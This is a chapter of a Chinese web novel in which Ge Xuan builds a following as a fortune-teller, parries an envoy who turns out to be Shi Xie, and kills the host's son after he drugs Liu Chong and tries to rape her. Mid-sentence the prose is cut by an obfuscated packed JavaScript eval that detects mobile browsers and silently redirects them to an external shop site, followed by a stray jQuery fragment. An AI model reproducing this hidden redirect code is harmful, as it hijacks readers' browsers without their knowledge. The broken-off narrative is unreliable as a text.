那日过后,果真有不少人找葛玄算命。
这些人来找她算的可就不是简单一两句能说完的命了,钱自然也比简单说明的占卜要多处许多。
手头宽裕之后,葛玄当即买下一只信鸽,此刻正驯养着它。
她蹲在柴房的空地前,指尖捏着粟米,轻声唤着鸽子。白鸽怯生生徘徊几步,试探着凑近啄食谷粒。
刘宠躺在柴房里木板搭成的简易床上,脚还漏出半边,歪头看这一场景:“真好,我也是吃上葛大师的软饭了。就是这信鸽看着瘦蔫的,能飞到陈国吗?当初觉着交州不是战事要地,都没让阚泽安排霹雳来,真是糊涂,不然咱这也不用费劲吧啦回去了,一纸信传回去,定有人来接我们。”
“确实不好说,这只鸽子没在陈国筑巢,恐怕半路就会迷失。”
刘宠话堵在嗓子眼,沉默了片刻,最终叹了口气:“哎,幸好李婶李叔对这一片的人十分了解,不然真要你一笔一划算这么多人的命,怕是要元气大伤。”
葛玄倒不觉得庆幸,这两夫妇看着和蔼可亲,却对这么多人的情况都了如指掌,怕也不是省油的灯。
“他们还说自己儿子跟随士氏进贡的队伍去了兖州,不日就会回来。士氏是交州的话事人,他是士氏的仆人,随便骗点士氏的都够我们会陈国了。”刘宠声音懒洋洋的,似乎已经沉浸到幻想中。
葛玄决定让信鸽试试陌生的环境,带着它远离村落走到通往城镇的小路上。她扬手让信鸽飞起来,仰头看它盘旋天际,片刻安稳落回自己肩头。
正当她为自己训练结果感到满意时,远处逐渐涌出一大群人!她定睛一看,为首的是她那日上街占卜求她救孩子命的妇人。
“天师!天师系里度!”
“睇啊,佢果然系天师,连雀仔都听佢话!”
“天师行踪果然神秘,我哋居然系呢度搵到佢!”
一群人闹哄哄地跑到葛玄眼前,妇人更是万分感激叫着葛玄“天师”。
葛玄道:“你孩子的病已经痊愈了吗?”
“西啊西啊,多泄天师指了条明路俾窝们,不然我酥哈的命就某了!天师,窝、窝某什莫俾你,只有一些钱,请你受窝一拜!”妇人开始动容起来,一开口居然说着口官话和交州话融合的话,不知是不是特意学的。
不过很多东西有心却是是可以学来的,比如华佗医书里的记录的病。
葛玄眯眼笑着,笑颜如世人供奉的神像般,她慢慢将人扶起来:“救人一命胜造七级浮屠,更何况是一个襁褓中的孩子。这孩子一生只有这一难,只要你将她好好抚养长大,日后定能享受荣华富贵。”
妇人一听本来要起身的身子又扑通一下跪倒,给葛玄连连磕头:“多泄天师谶言!窝一定将她抚养成人!”
跟随而来的群众仅仅为这个场景感动了一瞬,随着第一声“天师帮我睇睇!”,一连串的叫喊声求着葛玄为他们算命。
天师救婴的传闻很快传遍这个地广人稀的苍梧,大多数人都相互认识,一个村子有人知道了就是整个村的人都知道了。
人们把葛玄传的神乎其神,甚至有人自发以葛玄为教派,要供奉她。
葛玄立刻就明白了,虽然这里与北方战局相隔甚远,百姓过着相较安宁的日子,但正是因为里政治中心远,这里的人自由却缺信仰。
这样宣传自己的千载难逢的机会她不会错过,正当她兴致勃勃准备好好建立属于自己的教派时,有位不速之客找到了躲在柴房里的她。
“天师?你就是灵宝派教主葛天师?”男子一身素衣,面目柔和却带着严苛的审视意味。
葛玄很是不屑。
她为了保持天师的神秘感,会特意避开人群,这也是她还留在这间小柴房的原因。虽不知道这人怎么找到她,但看来不简单。
恰好刘宠不在,她便接待起这位贵客,接待的方式就是为他搬了张小板凳。
男子身后的侍卫见状以为葛玄在欺辱他家主人,气的要上前给她点颜色看看,男子拦下,不带半点犹豫坐下。
葛玄眯眼笑道:“公子官话说的流利,看来不是小门小户。大户人家也来找我这个小道士算命吗?”
男子笑声爽朗,如风穿林,不掺半分阴翳,坦荡又干净:“既然是天师,怎么会是小道士?天师真爱说笑。就是不知道你这天师有何能耐,为我算一卦,看我此刻正面临是什么,要如何破局。”
葛玄又将这人上下打量了一番,他虽着素衣,用料确实极好,仔细看面料上还有细致缝制的纹路。他脚上的草鞋纹路明亮、柔软细腻,与普通人家为了耐用而用坚硬的磨脚的草秆编制成的草鞋不同。
她来这两个月,第一次见到有人这样细致的装扮,就算是富庶人家也因为南方湿热的天气穿着简易。葛玄心道他必是个人物。
葛玄笑意多了几分:“我。”
“何意?”
“公子此刻面临的是我这个大麻烦,破局之道自然也是我。交州如此平静祥和,却出现了一个妖言惑众的天师,要破坏这来之不易的安宁日子,想必让构建这一切的人心神难安。你应该是士氏的人。”
男子低笑出声,笑声明朗豁达,像南方日头挂着的太阳:“你不愧为众人敬仰的天师,一语道破啊!那你说说要如何破局。”
“士太守派你来见我,而不是找人暗杀我,说明这其中还是有可以谈的余地。其实我也没想破坏太守千辛万苦打造的这片祥和,只是想要这世上有我一席之地罢了。不如就由太守来请神,与神同行。”
“你想要什么?”男子脸上的笑淡了下来,但言语依旧柔和,像询问闹脾气的孩童。
“我在这里住了两月有余,发现交州的管理特别有序,律法似乎不是沿用汉朝廷的,而是独创的?”
男子没有回话,眉眼间尽是缱绻温柔,但这幅神态让葛玄感受到他深深的凌厉。
“交州地广人稀,所以不重门阀重生产。有生产有粮食才会有人来,所以这里的物资很丰富,物价也更低,百姓才有余钱好好过日子。生活质量提上去了,才有更多心思钻研学派门道,提高学业水平。这套想法在门阀为患的东汉真是难得,太守看来也是个奇才。请你转交太守,我没有祸害交州的心,我所行之事也不会影响太守的管治。若是太守愿意,日后我们还能彼此相助。”
葛玄说完抱着一副你爱信不信的态度看向男子。
男子浅笑一声,语调低缓道:“短短时间成就一代天师,女公子的本领我见识到了。相信女公子要交州且怕都是轻而易举的事,所以女公子说,那我也只能信了。”
葛玄也对着他浅笑起来:“真是的,怎么一副那么委屈的模样,回去不会还要告我状吧。不如我免费给你占卜,博君一笑?”
“不了,我不信这些。今日多有叨扰,告辞。”
“不送。”
男子起身往回走,地上不知何时多了一滩污水,侍从见状赶忙挡在污水前,为他重新引了条路。
“家主,小心,这有摊污水,走这边。”
家主?
葛玄冷眼看着男子缓缓登上马车:他就是士燮。
“谁啊?”刘宠正好拿着吃食回来,见到门口停了一辆豪华马车,不禁张望来者。
“士燮。”
“士燮?交趾太守?他来干嘛?据说孙策在打交州的注意,派了使者与士燮联络,士燮也有意归附江东。”
葛玄道:“但我觉得他可以为我们所用,交州可是个好地方啊。”
有资源的地方就是好地方,偏偏交州还远离战火,每年不知给朝廷进贡了多少贡品。
二人正谈话间,一个年轻小伙从柴房后面蹦出来,道:“二位女君!你们好,我是我阿翁的儿子,我叫李湛!”
不过等葛玄和刘宠齐齐回头望去时,李湛脸红的像此刻的晚霞,声音也没了刚才那班活跃,扭捏道:“我阿母请二位一起去吃饭,你们来吗……”
刘宠看这小哥皮肤黝黑,都快融到身后的夜色里,心想他应该就是李婶口中去陈留进贡的儿子。
战火频繁,士氏进贡队伍多次往返能平安回来也是不易。
刘宠应下,三人来到屋中,李叔已经坐下了,见到她们又招呼起来。刘宠看到桌上摆着一大桌子菜,她又看了眼李湛:“真是丰富啊,看来李婶平日省吃俭用都是为了你啊。”
“我阿母就这样,不是大日子她那舍得吃口肉,你们快坐。”
李婶端着一盘菜急匆匆从屋外进来,这满桌盛宴才终于开席。
李
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17720163|208600||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
家三口诉说着过往他们的过往,两个异姓人只是一味点头、震惊、微笑。他们又说起近日的天师,还对着葛玄一个劲的笑,葛玄依旧微笑回应。
李湛见父母又说起自己的事,感觉有些不好意思,便提起此次去陈留的事。
“你们都不知道,那个四世三公之首的袁氏再次一统北方,只有中原一直战火不断。曹操攻打豫州,颍川和梁国都沦陷了,那个陈王也死了,真不知道他手下的人还为他死守豫州作甚,怕不是也想自己起兵。我看啊,曹操迟早一统天下,他们要是识相点,早点投靠曹操,说不定还能谋个一官半职。”
啪!
一双筷子落地的清脆声不知为何在屋中如雷鸣般响。
李湛看到刘宠皱紧眉头,看刘宠像受惊的小白兔,凑过去关切问到:“是不是吓到你了,都怪我,你们刚从北方逃难下来,我还说起这些事,不说了不说了。”
刘宠目光闪烁地看向葛玄,葛玄微微摇头,又将手搭在她腿上,示意她冷静。刘宠这才没跑出去,但这顿饭也是吃不下去了。
李家三口再说什么两位异姓人都无心再听,不过她们身处千里之外,也无法做出任何举动,要启程也不急于连和救命恩人吃完一顿饭的时间都没有。
也许李氏夫妇看出她们的心不在焉,也不再多说什么,只是一味的让她们喝汤,说是老母鸡炖的鸡汤,要好好补补身子。
刘宠看葛玄接过去了,她也接过喝了一口。见李家三口都盯着自己,也觉着这是他们辛苦做的,就一口气干了。
不知道是不是喝的太猛,过后刘宠顿感有些头晕目眩,似是要醉了。
恍惚间,一阵刺骨寒意骤然笼罩周身,她好像看见有几人跪在远处的城墙下,身影卑微,寒风萧瑟,天地一片暗沉肃杀。
而曹操正拿着大刀,手起刀落毫无半分犹豫,一颗人头就此滚下。
那颗头颅骨碌碌一路翻滚,直直停在她脚边。
她定睛一看,是张辽!
张辽双眼没有闭合,就用她最熟悉的眉眼直直看向她,像是再说是你害死了我。
窒息感涌入心头,刘宠感觉有只手在攥紧五脏六腑,痛得她浑身发颤。
紧接着第二颗、第三颗、第四颗……
太史慈、简雍、诸葛亮……
一个个亲信接连殒命,鲜血染红脚下大地,遍地皆是她亲信部下的尸骨。
“不!”刘宠浑身猛地一颤,睁眼却对上另一双陌生的眼。
“别怕别怕!我会好好疼你的!”李湛笑吟吟道,完全没了适才的少年气,变成一个面目扭曲的野兽。
刘宠眉目一紧,想推开他却发现浑身无力、四肢绵软!
怎么会这样!!!
她立即想明白自己被下药了!李叔李婶人这么好,怎么会生出这样的……
“阿母说的对,你确实是个媳妇的好人选,你看你身体多健壮啊,一定能干不少活。”
见刘宠狠狠地瞪着他,李湛笑了起来,手在她脸上游走,像抚摸一块玉石:“不过你醒了也好,我可不喜欢死人做。一会你也配合点,保准你呃!!!”
只见一道黑影窜过李湛脖子,他瞬间哑了声。
刘宠和李湛对视着,她看着李湛的眼眸一瞬亮起后完全暗淡,像殒落的星石再也不会发光发热。
脸上滴滴答答滴落温热的液体,强烈的血腥味扑面而来。
一道闪电劈落,李湛捂着脖子倒在刘宠怀里,随即她的视野被门口出现的身影完全占据。
那身影她再熟悉不过了!
“人心果然还是卑劣,原本还想报一报救了我们的恩,现在看来也没必要了。”葛玄的声音伴随着雨点砸在屋檐的响声,像是未尽的怒音。
她走到刘宠床边,把还在抽搐李湛的尸体搬了下来。尸体从刘宠眼前移过时,她对上那双死不瞑目的眼,就和她梦中的一样。
刘宠无法说话,她努力从喉间挤出一点声音,但在这场倾盆大雨面前显得太微不足道。
“殿下,闭上眼睡一觉就好了,其他的交给我。”葛玄像是早就知晓一切,她用手擦去刘宠脸上的血。
转身走到门口时又有一道闪电劈落,将葛玄的身影照的无比清晰,像照亮了没有影子的鬼。